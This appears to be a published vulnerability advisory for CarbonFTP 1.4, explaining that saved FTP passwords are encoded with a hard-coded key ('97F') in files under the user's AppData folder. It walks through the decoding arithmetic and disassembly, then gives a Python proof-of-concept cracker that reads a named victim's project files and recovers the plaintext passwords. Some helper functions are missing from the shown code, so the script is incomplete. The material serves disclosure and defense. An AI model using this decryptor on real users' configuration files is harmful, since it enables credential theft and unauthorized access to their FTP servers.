Exploits / Vulnerability Discovered : 2020-01-21 |
Type : local |
Platform : windows
This exploit / vulnerability Neowise carbonftp 1.4 weak password encryption is for educational purposes only and if it is used you will do on your own risk!
CarbonFTP is a file synchronization tool that enables you to synch local files with a remote FTP server and vice versa.
It provides a step-by-step wizard to select the folders to be synchronized, the direction of the synchronization and option
to set file masks to limit the transfer to specific file types. Your settings can be saved as projects, so they can be
quickly re-used later.
[Security Issue]
CarbonFTP v1.4 uses insecure proprietary password encryption with a hard-coded weak encryption key.
The key for locally stored FTP server passwords is hard-coded in the binary. Passwords encoded as hex
are coverted to decimal which is then computed by adding the key "97F" to the result. The key 97F seems
to be the same for all executables across all systems. Finally, passwords are stored as decimal values.
If a user chooses to save the project the passwords are stored in ".CFTP" local configuration files.
They can be found under "C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects".
e.g.
Password=STRING|"2086721956209392195620939"
Observing some very short password examples we see interesting patterns:
27264 27360 27360 27360 27360 = a
27520 27617 27617 27617 27617 = b
27266 27616 27360 27361 27616 = aab
27521 27616 27616 27616 27616 = ba
Password encryption/decryption is as follows.
Encryption process example.
484C as decimal is the value 18508
97F hex to decimal is the value 2431 (encrypt key)
18508 + 2431 = 20939, the value 20939 would then represent the ascii characters "HL".
To decrypt we just perform the reverse of the operation above.
20939 - 2431 = 18508
Next, convert the decimal value 18508 to hex and we get 484C.
Finally, convert the hex value 484C to ascii to retrieve the plaintext password of "HL".
CarbonFTP passwords less than nine characters are padded using chars from the current password up until
reaching a password length of nine bytes.
The two char password "XY" in encrypted form "2496125048250482504825048" is padded with "XY" until reaching a length
of nine bytes "XYXYXYXYX".
Similarly, the password "HELL" is "2086721956209392195620939" and again is padded since its length is less than nine bytes.
Therefore, we will get several cracked password candidates like: "HELLHELL | HELLHEL | HELLH | HELL | HEL | HE | HELLHELLH"
However, the longer the password the easier it becomes to crack them, as we can decrypt passwords in one
shot without having several candidates to choose from with one of them being the correct password.
Therefore, "LOOOOONGPASSWORD!" is stored as the encrypted string "219042273422734224782298223744247862350210947"
and because it is greater than nine bytes it is cracked without any candidate passwords returned.
From offset 0047DA6F to 0047DAA0 is the loop that performs the password decryption process.
Using the same password "HELL" as example.
At offset 0047DA8D, 97F is subtracted at [ebp-8] local variable which equals the decimal value 2431 (hex 97F)
we also see EAX holds the value 55C4
sub eax,dword ptr ss:[ebp-8]
therefore, 55C4 – 97F = 4C45 <======= ENCRYPT/DECRYPT KEY PROCESS.
mov word ptr ds:[esi],ax
add esi, 2 which is 4C45 + 2 = 4C47 <===== THEN
Given a two letter combination like "HL":
484C as decimal is 18508
97F hex to decimal is 2431
18508 + 2431 = 20939 = "HL"
Done!
[Exploit/POC]
"CarbonFTPExploit.py"
import time, string, sys, argparse, os
from pkgutil import iter_modules
#Sample test password
#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947
key="97F" #2431 in decimal, the weak hardcoded encryption key within the vuln program.
chunk_sz=5 #number of bytes we must decrypt the password by.
#Password is stored here:
#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP
def carbonftp_conf(conf_file):
p=""
pipe=-1
passwd=""
lst_of_passwds=[]
try:
for p in conf_file:
idx = p.find("Password=STRING|")
if idx != -1:
pipe = p.find("|")
if pipe != -1:
passwd = p[pipe + 2: -2]
print(" Password found: "+ passwd)
lst_of_passwds.append(passwd)
except Exception as e:
print(str(e))
return lst_of_passwds
def reorder(lst):
k=1
j=0
for n in range(len(lst)):
k+=1
j+=1
try:
tmp = lst[n+k]
a = lst[n+j]
lst[n+j] = tmp
lst[n+k] = a
except Exception as e:
pass
return ''.join(lst)
def no_unique_chars(lst):
c=0
k=1
j=0
for i in range(len(lst)):
k+=1
j+=1
try:
a = lst[i]
b = lst[i+1]
if a != b:
c+=1
elif c==0:
print("[!] Possible one char password?: " +str(lst[0]))
return lst[0]
except Exception as e:
pass
return False
def decryptor(result_lst):
global passwd_str, sz
final_carbon_passwd=""
print(" Decrypting ... \n")
for i in result_lst:
print("[-] "+i)
time.sleep(0.1)
lst = deob(i)
#Re-order chars to correct sequence using custom swap function (reorder).
reordered_pass = reorder(lst)
sz = len(reordered_pass)
#Flag possible single char password.
no_unique_chars(lst)
#Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.
if args.user:
victim = args.user
os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
dir_lst = os.listdir(".")
for c in dir_lst:
f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")
#Get encrypted password from conf file
passwd_enc = carbonftp_conf(f)
#Break up into 5 byte chunks as processed by the proprietary decryption routine.
result_lst = chunk_passwd(passwd_enc)
#Decrypt the 5 byte chunks and reassemble to the cleartext password.
cracked_passwd = decryptor(result_lst)
#Print cracked password or candidates.
display_cracked_passwd(sz, cracked_passwd)
time.sleep(0.3)
passwd_str=""
f.close()
#Crack a single password -p flag.
if args.encrypted_password:
passwd_to_crack_lst = []
passwd_to_crack_lst.append(args.encrypted_password)
result = chunk_passwd(passwd_to_crack_lst)
#Print cracked password or candidates.
cracked_passwd = decryptor(result)
display_cracked_passwd(sz, cracked_passwd)
if __name__=="__main__":
parser = argparse.ArgumentParser()
if len(sys.argv)==1:
parser.print_help(sys.stderr)
exit()
main(parse_args())
[POC Video URL]
https://www.youtube.com/watch?v=q9LMvAl6LfE
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification: Website contact form not working, several attempts : January 12, 2020
CVE Assigned by mitre : January 13, 2020
January 20, 2020 : Public Disclosure
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